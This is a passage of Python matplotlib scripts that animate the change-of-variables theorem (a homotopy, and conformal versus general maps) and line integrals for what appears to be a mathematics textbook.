        fill(T, []); live.append(fig.text(0.5, 0.2, r"To show:  area $\Phi(\Omega)=\int_{\Omega}|\det D\Phi(\mathbf{x})|\,d\mathbf{x}$" + "\n\n"
                                          r"Cut $\Omega$ into small cells; on each cell $\Phi$ is nearly linear.", ha="center", va="center", fontsize=14))
        return
    qx, qy = rect(0, 1, 0, 1, 30); cx, cy = A[0] + h * qx, A[1] + h * qy; U, V = PHI(cx, cy); ar = shoe(U, V)
    live.extend(axd.fill(cx, cy, color=PCOL, alpha=0.6)); live.extend(axi.fill(U, V, color=PCOL, alpha=0.6))
    P0 = np.array(PHI(*A)); c1, c2 = np.array([DA[0], DA[2]]), np.array([DA[1], DA[3]])
    if h > 0.15:
        for c, col in ((c1, C1), (c2, C2)):
            arrow(axi, P0, P0 + h * c, col, ms=10, lw=1.4)
    text(axd, A[0] - 0.08, A[1] - 0.08, "$a$", ha="right", va="top", fontsize=13)
    O = np.array([3.2, 0.0]); W = (np.array(PHI(cx, cy)).T - P0) / h + O
    live.extend(axz.fill(qx, qy, color=PCOL, alpha=0.35)); live.extend(axz.fill(W[:, 0], W[:, 1], color=PCOL, alpha=0.35))
    pl = np.array([O, O + c1, O + c1 + c2, O + c2, O])
    live.extend(axz.plot(pl[:, 0], pl[:, 1], color="k", lw=1.3, ls="--"))
    for p, c, col in (((0, 0), (1, 0), C1), ((0, 0), (0, 1), C2), (O, O + c1, C1), (O, O + c2, C2)):
        arrow(axz, p, c, col)
    arrow(axz, (1.35, 0.8), (2.6, 0.8), "0.4", ms=18, lw=1.5); text(axz, 1.97, 0.93, r"$\Phi$", ha="center", fontsize=14)
    text(axz, 0.5, -0.2, r"$Q_{h}$, magnified", ha="center", va="top", fontsize=11)
    text(axz, 5.0, 2.1, r"magnified $\times\frac{1}{h}=\times$%.1f" % (1 / h), fontsize=12, va="top")
    text(axz, 5.0, 1.5, r"orange: $\Phi(Q_{h})$" + "\n" + r"dashed: $D\Phi(a)\,[0,1]^{2}$," + "\n" + r"area $|\det D\Phi(a)|$", fontsize=11, va="top")
    fill(T, [("$h$", "%.4f" % h), ("$a$", "(%g, %g)" % A), (r"$\det D\Phi(a)$", n4(DETA)),
             (r"area $\Phi(Q_{h})$", "%.5g" % ar), (r"$|\det D\Phi(a)|\,h^{2}$", "%.5g" % (DETA * h * h)), ("ratio", "%.4f" % (ar / (DETA * h * h)))])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(60)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Change of variables (Theorem A.9), version 2: the straight-line homotopy H_s(x) = (1-s)x + s Phi(x) carries
Omega onto Phi(Omega); cells coloured by |det DH_s|; area H_s(Omega) (shoelace) = int |det DH_s| (quadrature) at every s.
PyFig: defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection, LineCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, C1, C2 = "#1f6f78", "#c96a00", "tab:blue", "tab:purple"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []
GX, GW = np.polynomial.legendre.leggauss(40)


def clear():
    while live:
        live.pop().remove()


def st(t, s):
    if t.get_text() != s:
        t.set_text(s)


def n4(x):
    return "%.4f" % (round(x, 4) + 0.0)


def PHI(x, y):  # the C^1 map of the three versions
    return x + 0.3 * y * y, y + 0.3 * x * y + 0.1 * x * x


def jac(F, x, y, d=1e-5):  # (u_x, u_y, v_x, v_y) by central differences
    (a, b), (c, e) = F(x + d, y), F(x - d, y)
    (p, q), (r, s) = F(x, y + d), F(x, y - d)
    return (a - c) / (2 * d), (p - r) / (2 * d), (b - e) / (2 * d), (q - s) / (2 * d)


def jdet(F, x, y):
    ux, uy, vx, vy = jac(F, x, y)
    return ux * vy - uy * vx


def rect(x0, x1, y0, y1, m):  # boundary of a rectangle, counterclockwise, m points per side
    t = np.linspace(0, 1, m, endpoint=False); o = 0 * t
    return (np.r_[x0 + (x1 - x0) * t, x1 + o, x1 - (x1 - x0) * t, x0 + o],
            np.r_[y0 + o, y0 + (y1 - y0) * t, y1 + o, y1 - (y1 - y0) * t])


def shoe(X, Y):  # shoelace formula
    return 0.5 * abs(np.dot(X, np.roll(Y, -1)) - np.dot(Y, np.roll(X, -1)))


def quad2(g, x0, x1, y0, y1):  # 40 x 40 Gauss-Legendre
    hx, hy = (x1 - x0) / 2, (y1 - y0) / 2
    X, Y = np.meshgrid(hx * GX + x0 + hx, hy * GX + y0 + hy)
    return hx * hy * (np.outer(GW, GW) * g(X, Y)).sum()


def grid(F, x0, x1, y0, y1, nx, ny, m=40, fr=1.0):  # images of the grid lines
    t = np.linspace(0, fr, m); o = 0 * t
    return ([np.column_stack(F(x + o, y0 + (y1 - y0) * t)) for x in np.linspace(x0, x1, nx + 1)]
            + [np.column_stack(F(x0 + (x1 - x0) * t, y + o)) for y in np.linspace(y0, y1, ny + 1)])


ID = lambda x, y: (x, y)


def lc(ax, segs, **kw):
    live.append(ax.add_collection(LineCollection(segs, **kw)))


def pc(ax, polys, **kw):
    live.append(ax.add_collection(PolyCollection(polys, **kw)))


def arrow(ax, p, q, col, ms=14, lw=1.8):
    live.append(ax.annotate("", xy=q, xytext=p, arrowprops=dict(arrowstyle="-|>", color=col, lw=lw,
                                                                 mutation_scale=ms, shrinkA=0, shrinkB=0)))


def text(ax, x, y, s, **kw):
    live.append(ax.text(x, y, s, **kw))


def heads(fig):
    return (fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5),
            fig.text(0.5, 0.941, "", ha="center", va="center", fontsize=12, color="0.3"))


def panel(fig, box, xl, yl, sb=None):  # sb: left end of a scale bar of length 1
    ax = fig.add_axes(box); ax.set_aspect("equal"); ax.set_xlim(*xl); ax.set_ylim(*yl)
    ax.set_xticks([]); ax.set_yticks([])
    if sb:
        ax.plot([sb[0], sb[0] + 1], [sb[1]] * 2, color="0.4", lw=2, solid_capstyle="butt")
        ax.text(sb[0] + 0.5, sb[1] + 0.04, "length 1", ha="center", va="bottom", fontsize=9, color="0.4")
    for s in ax.spines.values():
        s.set_color("0.8")
    return ax


def table(fig, y0, rows=3, dx=0.29):
    return [(fig.text((0.04, 0.52)[i // rows], y0 - 0.029 * (i % rows), "", va="center"),
             fig.text((0.04, 0.52)[i // rows] + dx, y0 - 0.029 * (i % rows), "", va="center"))
            for i in range(2 * rows)]


def fill(T, pairs):
    for (a, b), (l, v) in zip(T, list(pairs) + [("", "")] * len(T)):
        st(a, l); st(b, "= " + v if v else "")

from matplotlib.colors import LogNorm
H = lambda s: (lambda x, y: ((1 - s) * x + s * PHI(x, y)[0], (1 - s) * y + s * PHI(x, y)[1]))
hc = 0.25; cx, cy = [v.ravel() for v in np.meshgrid(np.arange(12) * hc + hc / 2, np.arange(6) * hc + hc / 2)]
qx, qy = rect(-hc / 2, hc / 2, -hc / 2, hc / 2, 4); IA, IB = 11, 60
SS = [0.0] * 16 + [0.5 * ease(i / 71) for i in range(72)] + [0.5] * 14 + [0.5 + 0.5 * ease(i / 71) for i in range(72)] + [1.0] * 20
SCHED = [("still" if k < 16 else ("end" if k >= len(SS) else "morph"), s) for k, s in enumerate(SS + [1.0] * 36)]
Bx, By = rect(0, 3, 0, 1.5, 400)
AR = {s: shoe(*H(s)(Bx, By)) for _, s in SCHED}; QU = {s: quad2(lambda x, y: abs(jdet(H(s), x, y)), 0, 3, 0, 1.5) for s in AR}
assert max(abs(AR[s] - QU[s]) for s in AR) < 1e-4
fig = plt.figure(figsize=(8.4, 11)); title, sub = heads(fig)
ax = panel(fig, [0.18, 0.44, 0.64, 0.465], (-0.3, 4.1), (-0.3, 3.95), (-0.2, 3.65))
ax.plot(np.r_[Bx, 0], np.r_[By, 0], color="0.6", lw=1, ls="--"); U, V = PHI(Bx, By); ax.plot(np.r_[U, U[0]], np.r_[V, V[0]], color="0.6", lw=1, ls="--")
ax.text(3.05, -0.22, r"$\Omega$", color="0.45", fontsize=14); ax.text(3.3, 3.55, r"$\Phi(\Omega)$", color="0.45", fontsize=14)
NRM = LogNorm(0.5, 2); CM = plt.get_cmap("RdBu_r")
cax = fig.add_axes([0.25, 0.405, 0.5, 0.013])
cb = fig.colorbar(plt.cm.ScalarMappable(NRM, CM), cax=cax, orientation="horizontal")
cb.set_ticks([0.5, 0.75, 1, 1.5, 2]); cb.set_ticklabels(["0.5", "0.75", "1", "1.5", "2"]); cb.ax.minorticks_off(); cb.ax.tick_params(labelsize=10)
cb.set_label(r"colour of a cell: $|\det DH_{s}|$ at its centre (blue: area shrinks, red: area grows)", fontsize=11, labelpad=2)
T = table(fig, 0.338, rows=4, dx=0.3)
axg = fig.add_axes([0.12, 0.045, 0.8, 0.155]); axg.set_xlim(-0.02, 1.02); axg.set_ylim(4.35, 5.55); axg.tick_params(labelsize=10)
axg.set_xlabel("$s$", labelpad=0); axg.axhline(4.5, color="0.6", ls=":", lw=1); axg.axhline(QU[1.0], color="0.6", ls=":", lw=1)
axg.text(0.99, 4.51, r"area $\Omega=4.5$", ha="right", va="bottom", fontsize=10, color="0.4")
axg.text(0.3, QU[1.0] - 0.02, r"$\int_{\Omega}|\det D\Phi|$", va="top", fontsize=10, color="0.4")
h1, = axg.plot([], [], color=CCOL, lw=5, alpha=0.45, label=r"area $H_{s}(\Omega)$, shoelace")
h2, = axg.plot([], [], color="k", lw=1.3, ls="--", label=r"$\int_{\Omega}|\det DH_{s}|\,d\mathbf{x}$, quadrature")
axg.legend(loc="lower center", fontsize=10.5)
TT = {"still": (r"Deform $\Omega$ into $\Phi(\Omega)$ along $H_{s}(\mathbf{x})=(1-s)\,\mathbf{x}+s\,\Phi(\mathbf{x})$, $0\leq s\leq1$",
                r"$\Phi(x,y)=(x+0.3y^{2},\ y+0.3xy+0.1x^{2})$;  at $s=0$ nothing has moved: every factor is $1$"),
      "morph": (r"At every $s$:  area $H_{s}(\Omega)=\int_{\Omega}|\det DH_{s}(\mathbf{x})|\,d\mathbf{x}$  (Theorem A.9, $g\equiv1$)",
                r"left: shoelace formula on the curve $H_{s}(\partial\Omega)$;  right: quadrature on $\Omega$;  both computed anew"),
      "end": (r"$s=1$: area $\Phi(\Omega)=\int_{\Omega}|\det D\Phi|\,d\mathbf{x}=$" + n4(QU[1.0]),
              r"each cell's area is about $|\det DH_{s}|\,h^{2}$ (cells A and B); adding the cells gives the total")}


def frame(k):
    clear(); ph, s = SCHED[k]; F = H(s); st(title, TT[ph][0]); st(sub, TT[ph][1])
    X, Y = F(cx[:, None] + qx, cy[:, None] + qy); D = jdet(F, cx, cy)
    pc(ax, np.stack([X, Y], -1), facecolors=CM(NRM(D)), edgecolors="0.25", linewidths=0.5)
    ar = [shoe(X[i], Y[i]) / hc ** 2 for i in (IA, IB)]
    for i, l in ((IA, "A"), (IB, "B")):
        live.extend(ax.plot(np.r_[X[i], X[i][0]], np.r_[Y[i], Y[i][0]], color="k", lw=2))
        text(ax, X[i].mean() + (0.22 if i == IA else -0.22), Y[i].mean(), l, fontsize=13, ha="center", va="center", weight="bold")
    sv =sorted(v for v in AR if v <= s); h1.set_data(sv, [AR[v] for v in sv]); h2.set_data(sv, [QU[v] for v in sv])
    live.append(axg.scatter([s, s], [AR[s], QU[s]], s=[60, 18], color=[CCOL, "k"], zorder=5))
    fill(T, [("$s$", "%.3f" % s), (r"area $H_{s}(\Omega)$, shoelace", n4(AR[s])), (r"$\int_{\Omega}|\det DH_{s}|$, quadrature", n4(QU[s])),
             ("difference", n4(AR[s] - QU[s])), (r"cell A: area $H_{s}(Q)\,/\,h^{2}$", n4(ar[0])), (r"cell A: $|\det DH_{s}|$ at centre", n4(D[IA])),
             (r"cell B: area $H_{s}(Q)\,/\,h^{2}$", n4(ar[1])), (r"cell B: $|\det DH_{s}|$ at centre", n4(D[IB]))])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(200)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Change of variables (Theorem A.9), version 3: for an analytic f the Jacobian is a conformal matrix, so tiny
squares go to squares and |det Df| = |f'|^2 (Theorem 14.10); area f(Omega) = iint |f'|^2 dA. Compared with Phi.
PyFig: defines fig and frame(k), then calls play(...).
"""
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt
from matplotlib.collections import PolyCollection, LineCollection

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, C1, C2 = "#1f6f78", "#c96a00", "tab:blue", "tab:purple"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []
GX, GW = np.polynomial.legendre.leggauss(40)


def clear():
    while live:
        live.pop().remove()


def st(t, s):
    if t.get_text() != s:
        t.set_text(s)


def n4(x):
    return "%.4f" % (round(x, 4) + 0.0)


def PHI(x, y):  # the C^1 map of the three versions
    return x + 0.3 * y * y, y + 0.3 * x * y + 0.1 * x * x


def jac(F, x, y, d=1e-5):  # (u_x, u_y, v_x, v_y) by central differences
    (a, b), (c, e) = F(x + d, y), F(x - d, y)
    (p, q), (r, s) = F(x, y + d), F(x, y - d)
    return (a - c) / (2 * d), (p - r) / (2 * d), (b - e) / (2 * d), (q - s) / (2 * d)


def jdet(F, x, y):
    ux, uy, vx, vy = jac(F, x, y)
    return ux * vy - uy * vx


def rect(x0, x1, y0, y1, m):  # boundary of a rectangle, counterclockwise, m points per side
    t = np.linspace(0, 1, m, endpoint=False); o = 0 * t
    return (np.r_[x0 + (x1 - x0) * t, x1 + o, x1 - (x1 - x0) * t, x0 + o],
            np.r_[y0 + o, y0 + (y1 - y0) * t, y1 + o, y1 - (y1 - y0) * t])


def shoe(X, Y):  # shoelace formula
    return 0.5 * abs(np.dot(X, np.roll(Y, -1)) - np.dot(Y, np.roll(X, -1)))


def quad2(g, x0, x1, y0, y1):  # 40 x 40 Gauss-Legendre
    hx, hy = (x1 - x0) / 2, (y1 - y0) / 2
    X, Y = np.meshgrid(hx * GX + x0 + hx, hy * GX + y0 + hy)
    return hx * hy * (np.outer(GW, GW) * g(X, Y)).sum()


def grid(F, x0, x1, y0, y1, nx, ny, m=40, fr=1.0):  # images of the grid lines
    t = np.linspace(0, fr, m); o = 0 * t
    return ([np.column_stack(F(x + o, y0 + (y1 - y0) * t)) for x in np.linspace(x0, x1, nx + 1)]
            + [np.column_stack(F(x0 + (x1 - x0) * t, y + o)) for y in np.linspace(y0, y1, ny + 1)])


ID = lambda x, y: (x, y)


def lc(ax, segs, **kw):
    live.append(ax.add_collection(LineCollection(segs, **kw)))


def pc(ax, polys, **kw):
    live.append(ax.add_collection(PolyCollection(polys, **kw)))


def arrow(ax, p, q, col, ms=14, lw=1.8):
    live.append(ax.annotate("", xy=q, xytext=p, arrowprops=dict(arrowstyle="-|>", color=col, lw=lw,
                                                                 mutation_scale=ms, shrinkA=0, shrinkB=0)))


def text(ax, x, y, s, **kw):
    live.append(ax.text(x, y, s, **kw))


def heads(fig):
    return (fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5),
            fig.text(0.5, 0.941, "", ha="center", va="center", fontsize=12, color="0.3"))


def panel(fig, box, xl, yl, sb=None):  # sb: left end of a scale bar of length 1
    ax = fig.add_axes(box); ax.set_aspect("equal"); ax.set_xlim(*xl); ax.set_ylim(*yl)
    ax.set_xticks([]); ax.set_yticks([])
    if sb:
        ax.plot([sb[0], sb[0] + 1], [sb[1]] * 2, color="0.4", lw=2, solid_capstyle="butt")
        ax.text(sb[0] + 0.5, sb[1] + 0.04, "length 1", ha="center", va="bottom", fontsize=9, color="0.4")
    for s in ax.spines.values():
        s.set_color("0.8")
    return ax


def table(fig, y0, rows=3, dx=0.29):
    return [(fig.text((0.04, 0.52)[i // rows], y0 - 0.029 * (i % rows), "", va="center"),
             fig.text((0.04, 0.52)[i // rows] + dx, y0 - 0.029 * (i % rows), "", va="center"))
            for i in range(2 * rows)]


def fill(T, pairs):
    for (a, b), (l, v) in zip(T, list(pairs) + [("", "")] * len(T)):
        st(a, l); st(b, "= " + v if v else "")

EZ = lambda x, y: (np.exp(x) * np.cos(y), np.exp(x) * np.sin(y))
fp = lambda z: (np.exp(z + 1e-6) - np.exp(z - 1e-6)) / 2e-6       # f'(z), difference quotient
HQ = 0.1; qx, qy = rect(-0.5, 0.5, -0.5, 0.5, 12)
path = lambda t: (0.5 + 0.3 * np.cos(2 * np.pi * t), 0.6 - 0.42 * np.sin(2 * np.pi * t))
AREA = shoe(*EZ(*rect(0, 1, 0, 1.2, 1500))); QUAD = quad2(lambda x, y: abs(fp(x + 1j * y)) ** 2, 0, 1, 0, 1.2)
EXACT = (np.exp(2) - 1) / 2 * 1.2; HS = (0.2, 0.1, 0.05); RS = {}
for h in HS:
    z = sum(np.meshgrid(np.arange(round(1 / h)) * h + h / 2, 1j * (np.arange(round(1.2 / h)) * h + h / 2))).ravel()
    RS[h] = (z, (abs(fp(z)) ** 2 * h * h).sum())
L = [("phi", i / 69) for i in range(70)] + [("phi", 1)] * 12
SCHED = L + [("f", t) for _, t in L] + [("area", h) for h in HS for i in range(24)] + [("end", 0.05)] * 26
fig = plt.figure(figsize=(8.4, 11)); title, sub = heads(fig)
axd = panel(fig, [0.25, 0.73, 0.5, 0.18], (-0.25, 2.95), (-0.2, 1.45), (1.7, 0.1))
axi = panel(fig, [0.25, 0.37, 0.5, 0.34], (-0.25, 2.95), (-0.2, 2.75), (1.7, 2.45))
Bx, By = rect(0, 1, 0, 1.2, 100); axd.plot(np.r_[Bx, 0], np.r_[By, 0], color=CCOL, lw=2); axd.fill(Bx, By, color=CCOL, alpha=0.07)
lc0 = grid(ID, 0, 1, 0, 1.2, 10, 12, 2); axd.add_collection(LineCollection(lc0, colors="0.7", lw=0.6))
axd.text(1.1, 1.0, r"$\Omega=[0,1]\times[0,1.2]$", color=CCOL, fontsize=13)
tp = np.linspace(0, 1, 100); axd.plot(*path(tp), color="k", lw=0.8, ls=":")
fig.text(0.2, 0.72, r"$\downarrow$", fontsize=18, ha="center", va="center")
T = table(fig, 0.33, dx=0.25)
axz = panel(fig, [0.04, 0.03, 0.92, 0.22], (-0.9, 11.4), (-1.75, 1.75)); axz.axis("off")
axg = fig.add_axes([0.13, 0.055, 0.8, 0.18]); axg.set_xscale("log"); axg.set_xlim(20, 700); axg.minorticks_off(); axg.set_visible(False)
axg.set_xticks([30, 120, 480]); axg.set_xticklabels(["30", "120", "480"]); axg.set_xlabel("number of squares", labelpad=1); axg.tick_params(labelsize=10)
axg.set_ylim(3.78, 3.845); axg.axhline(AREA, color=CCOL, ls="--", lw=1.2)
axg.text(650, AREA + 0.002, r"area $f(\Omega)$ by the shoelace formula", color=CCOL, ha="right", va="bottom", fontsize=11)
hg, = axg.plot([], [], "o-", color="k", lw=1.5, ms=5, label=r"$\sum|f'(z_{ij})|^{2}h^{2}$"); axg.legend(loc="lower right", fontsize=11)
TT = {"phi": (r"A general $C^{1}$ map $\Phi$: a tiny square goes to (nearly) a parallelogram",
              r"$\Phi=(u,v)=(x+0.3y^{2},\ y+0.3xy+0.1x^{2})$:  $u_{x}\neq v_{y}$, $u_{y}\neq-v_{x}$, so $D\Phi$ is not a conformal matrix"),
      "f": (r"Analytic $f(z)=e^{z}$: a tiny square goes to (nearly) a square, turned and scaled",
            r"CR (14.1) $\Leftrightarrow$ $D\tilde f=|f'|\,R_{\theta}$, $\theta=\arg f'$ (Thm 14.10, Lemma 1.18), so $\det D\tilde f=|f'|^{2}$ (14.11)"),
      "area": (r"area $f(\Omega)=\iint_{\Omega}|f'(z)|^{2}\,dA$   (Theorem A.9 with $\det D\tilde f=|f'|^{2}$)",
               r"squares of side $|f'(z_{ij})|\,h$, turned by $\arg f'(z_{ij})$, at $f(z_{ij})$ ($z_{ij}$ = centres) nearly tile $f(\Omega)$"),
      "end": (r"area $f(\Omega)=\iint_{\Omega}|f'|^{2}\,dA=\int_{0}^{1.2}\!\!\int_{0}^{1}e^{2x}\,dx\,dy=0.6\,(e^{2}-1)$",
              r"shoelace on $f(\partial\Omega)$: %s;  quadrature of $|f'|^{2}$: %s;  exact: %s" % (n4(AREA), n4(QUAD), n4(EXACT)))}
part = [None]


def frame(k):
    clear(); ph, t = SCHED[k]; F = PHI if ph == "phi" else EZ; ar = ph in ("area", "end"); st(title, TT[ph][0]); st(sub, TT[ph][1])
    if part[0] != ar:
        part[0] = ar; axz.set_visible(not ar); axg.set_visible(ar)
    U, V = F(Bx, By); live.extend(axi.plot(np.r_[U, U[0]], np.r_[V, V[0]], color=CCOL, lw=2)); live.extend(axi.fill(U, V, color=CCOL, alpha=0.07))
    text(axi, 2.0 if F is EZ else 1.5, 2.0 if F is EZ else 1.2, r"$f(\Omega)$" if F is EZ else r"$\Phi(\Omega)$", color=CCOL, fontsize=15)
    lc(axi, grid(F, 0, 1, 0, 1.2, 10, 12, 30), colors="0.7", lw=0.6)
    if ar:
        h = t; z, R = RS[h]; w = np.exp(z); d = fp(z) * h * np.array([-0.5 - 0.5j, 0.5 - 0.5j, 0.5 + 0.5j, -0.5 + 0.5j])[:, None]
        pc(axi, np.stack([(w + d).real.T, (w + d).imag.T], -1), facecolors=CCOL, alpha=0.4, edgecolors=CCOL, linewidths=0.6)
        lc(axd, grid(ID, 0, 1, 0, 1.2, round(1 / h), round(1.2 / h), 2), colors="k", lw=0.7)
        m = [v for v in HS if v >= h]; hg.set_data([len(RS[v][0]) for v in m], [RS[v][1] for v in m])
        fill(T, [("squares", "%d, $h=$%g" % (len(z), h)), (r"$\sum|f'(z_{ij})|^{2}h^{2}$", n4(R)), ("difference", n4(R - AREA)),
                 (r"area $f(\Omega)$, shoelace", n4(AREA)), (r"$\iint_{\Omega}|f'|^{2}$, quadrature", n4(QUAD)), (r"exact: $0.6\,(e^{2}-1)$", n4(EXACT))])
        return
    x0, y0 = path(t); X, Y = x0 + HQ * qx, y0 + HQ * qy
    live.extend(axd.fill(X, Y, color=PCOL)); u, v = F(X, Y); live.extend(axi.fill(u, v, color=PCOL))
    ux, uy, vx, vy = jac(F, x0, y0); c1, c2 = np.array([ux, vx]), np.array([uy, vy]); P0 = np.array(F(x0, y0))
    W = (np.array(F(X, Y)).T - P0) / HQ + (4.9, 0)
    live.extend(axz.fill(qx + 0.5, qy, color=PCOL, alpha=0.35)); live.extend(axz.fill(W[:, 0], W[:, 1], color=PCOL, alpha=0.35))
    b0 = np.array([4.9, 0]) - (c1 + c2) / 2
    for p, c, col in (((0, -0.5), (1, -0.5), C1), ((0, -0.5), (0, 0.5), C2), (b0, b0 + c1, C1), (b0, b0 + c2, C2)):
        arrow(axz, p, c, col)
    arrow(axz, (1.5, 0), (2.7, 0), "0.4", ms=18, lw=1.5); text(axz, 2.1, 0.15, r"$f$" if F is EZ else r"$\Phi$", ha="center", fontsize=14)
    text(axz, 0.5, -0.75, "tiny square\n" + r"(side $h=0.1$), $\times10$", ha="center", va="top", fontsize=10.5)
    ang = np.degrees(np.arccos(c1 @ c2 / np.hypot(*c1) / np.hypot(*c2))); dt = ux * vy - uy * vx
    text(axz, 7.6, 1.3, "image, $\\times10$\nangle between sides: %.1f°\nside lengths / $h$: %.3f, %.3f\narea / $h^{2}$: %s" % (
        ang, np.hypot(*c1), np.hypot(*c2), n4(shoe(u, v) / HQ ** 2)), fontsize=11.5, va="top", linespacing=1.5)
    fp2 = abs(fp(x0 + 1j * y0)) ** 2
    fill(T, [(r"centre $p$", "(%.3f, %.3f)" % (x0, y0)), (r"$(u_{x},\ v_{y})$", "(%s, %s)" % (n4(ux), n4(vy))),
             (r"$(u_{y},\ -v_{x})$", "(%s, %s)" % (n4(uy), n4(-vx))), ((r"$\det D\tilde f(p)$" if F is EZ else r"$\det D\Phi(p)$"), n4(dt)),
             (r"$|f'(p)|^{2}$", n4(fp2) if F is EZ else "no $f'$: CR fails"), (r"$u_{x}^{2}+v_{x}^{2}$", n4(ux * ux + vx * vx))])

if "play" in globals():     # provided by the PyFig reader or by the JupyterLite link
    play(fig, frame, frames=len(SCHED), interval=70)
else:                       # plain Python: the poster
    plt.rcParams["pdf.fonttype"] = 42
    frame(120)
    fig.savefig(__file__.rsplit("/", 1)[-1].replace(".py", "_poster.pdf"))



"""Line integrals (Appendix A), version 1: int phi ds against int V.dr on one curve,
run forwards and then backwards. Middle: phi against arclength, the area is int phi ds (Definition A.11).
Bottom: V.T against arclength, the signed area is int V.dr (Definition A.13). Backwards, the first area is
unchanged (A.12), the second changes sign (A.14).
PyFig convention: the script defines fig and frame(k), then calls play(...).
"""
# Shared part of the line-integral animations (make_lineint.py pastes it into each script).
import numpy as np
import matplotlib
matplotlib.use("Agg")
import matplotlib.pyplot as plt

plt.rcParams.update({"mathtext.fontset": "cm", "font.family": "serif", "font.size": 12})
CCOL, PCOL, POS, NEG = "#1f6f78", "#c96a00", "#2a9d3a", "#d62728"
ease = lambda v: 0.5 - 0.5 * np.cos(np.pi * min(max(v, 0.0), 1.0))
live = []


def clear():
    while live:
        live.pop().remove()


def cum(y, x):                                             # running trapezoid integral of y dx
    return np.r_[0, np.cumsum((y[1:] + y[:-1]) * np.diff(x) / 2)]


def fmt(v, d=4):                                           # never prints -0.0000
    return "%.*f" % (d, round(float(v), d) + 0.0)


def arr(ax, a, b, col, lw=2, ms=16, **kw):                 # an arrow from point a to point b (complex numbers)
    live.append(ax.annotate("", xy=(b.real, b.imag), xytext=(a.real, a.imag), zorder=6,
                            arrowprops=dict(arrowstyle="-|>", color=col, lw=lw, mutation_scale=ms, shrinkA=0, shrinkB=0, **kw)))


def setup(h=11.0):
    fig = plt.figure(figsize=(8.4, h))
    title = fig.text(0.5, 0.968, "", ha="center", va="center", fontsize=13.5)
    sub = fig.text(0.5, 0.937, "", ha="center", va="center", fontsize=12, color="0.3")
    return fig, title, sub


def sched(*parts):                                         # [(phase, n frames)] -> [(phase, fraction 0..1)]
    return [(p, i / max(n - 1, 1)) for p, n in parts for i in range(n)]


def ticks(ax, xs, ys):                                     # fixed tick labels (much faster to redraw)
    for set_t, set_l, v in ((ax.set_xticks, ax.set_xticklabels, xs), (ax.set_yticks, ax.set_yticklabels, ys)):
        set_t(v); set_l([("%g" % a).replace("-", "−") for a in v])

N = 401; t = np.linspace(0, 1, N)
gam = lambda t: (-2 + 4 * t) + 0.7j * np.sin(1.5 * (-2 + 4 * t))
dgam = lambda t: 4 + 4.2j * np.cos(1.5 * (-2 + 4 * t))
phi = lambda z: 1.5 + 0.4 * z.real + z.imag ** 2
Vf = lambda z: (0.5 - z.imag) + 0.9j                          # V = (0.5 - y, 0.9) as a complex number
dot2 = lambda a, b: a.real * b.real + a.imag * b.imag


def run(z, d):                                             # a parametrised run: arclength, phi, V.T and the running integrals
    sp = np.abs(d); s = cum(sp, t); f = phi(z); vt = dot2(Vf(z), d) / sp
    return dict(z=z, T=d / sp, s=s, f=f, vt=vt, I=cum(f * sp, t), W=cum(dot2(Vf(z), d), t))


FW = run(gam(t), dgam(t)); BW = run(gam(1 - t), -dgam(1 - t))  # -gamma(t) = gamma(1 - t), computed afresh
L = FW["s"][-1]
assert abs(BW["I"][-1] - FW["I"][-1]) < 1e-12 and abs(BW["W"][-1] + FW["W"][-1]) < 1e-12
SCHED = sched(("intro", 12), ("fwd", 88), ("done", 16), ("rev", 88), ("end", 26))
fig, title, sub = setup()
axp = fig.add_axes([0.03, 0.545, 0.94, 0.36]); axp.set_aspect("equal"); axp.axis("off")
axp.set_xlim(-2.55, 2.55); axp.set_ylim(-1.3, 1.3)
X, Y = np.meshgrid(np.linspace(-2.2, 2.2, 9), np.linspace(-0.9, 0.9, 4)); VV = Vf(X + 1j * Y)
axp.quiver(X, Y, VV.real, VV.imag, color=PCOL, alpha=0.35, angles="xy", scale_units="xy", scale=3.2, width=0.004)
axp.plot(FW["z"].real, FW["z"].imag, color="0.75", lw=1.2)
axp.text(2.5, 1.22, r"$\varphi(x,y)=1.5+0.4x+y^{2}$" + "\n" + r"$\mathbf{V}(x,y)=(0.5-y,\ 0.9)$", ha="right", va="top", fontsize=11.5,
         bbox=dict(fc="white", ec="0.7", boxstyle="round"))
A1 = fig.add_axes([0.1, 0.3, 0.62, 0.175]); A2 = fig.add_axes([0.1, 0.06, 0.62, 0.175])
for a, yl in ((A1, (0, 3.4)), (A2, (-1.9, 1.9))):
    a.set_xlim(0, L); a.set_ylim(*yl); a.axhline(0, color="0.6", lw=0.8); a.tick_params(labelsize=10)
ticks(A1, [0, 1, 2, 3, 4], [0, 1, 2, 3]); ticks(A2, [0, 1, 2, 3, 4], [-1, 0, 1]); A1.set_ylabel(r"$\varphi$", fontsize=14); A2.set_ylabel(r"$\mathbf{V}\cdot\mathbf{T}$", fontsize=14)
A2.set_xlabel("$s$ = arclength from the start of the run", labelpad=2)
A1.set_title(r"$\varphi$ at the moving point: the area under the graph is $\int\varphi\,ds$", fontsize=12)
A2.set_title(r"$\mathbf{V}\cdot\mathbf{T}$ at the moving point: the signed area is $\int\mathbf{V}\cdot d\mathbf{r}$", fontsize=12)
TITLES = {"intro": ("One curve, two line integrals",
                    r"$\boldsymbol{\gamma}(t)=(x,\,0.7\sin 1.5x)$, $x=-2+4t$, $t\in[0,1]$; length $%s$" % fmt(L)),
